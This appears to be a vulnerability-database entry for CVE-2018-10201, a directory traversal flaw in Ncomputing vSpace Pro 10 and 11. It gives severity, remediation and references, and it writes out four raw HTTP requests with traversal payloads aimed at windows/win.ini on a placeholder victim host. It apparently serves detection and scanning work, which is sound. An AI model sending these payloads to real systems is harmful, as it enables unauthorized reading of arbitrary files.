🔙 목록으로 돌아가기

CVE-2018-10201: Ncomputing vSPace Pro 10 and 11 - Directory Traversal

TitleNcomputing vSPace Pro 10 and 11 - Directory Traversal
Author0x_akoko
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows an attacker to read arbitrary files from the target system.
RemediationApply the latest security patches or updates provided by Ncomputing to fix the directory traversal vulnerability.
CVSS Score7.5
EPSS Score0.81415
CVE IDCVE-2018-10201
CWE IDCWE-22
Tags cve cve2018 ncomputing lfi packetstorm vuln

🔍 Vulnerability Description

Ncomputing vSpace Pro versions 10 and 11 suffer from a directory traversal vulnerability.

🌐 HTTP Request

GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Thunderbird/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /...%5C...%5C...%5C...%5C...%5C...%5C...%5C...%5C...%5Cwindows%5Cwin.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /..../..../..../..../..../..../..../..../..../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.14
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /....%5C....%5C....%5C....%5C....%5C....%5C....%5C....%5C....%5Cwindows%5Cwin.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10201.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-10201.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A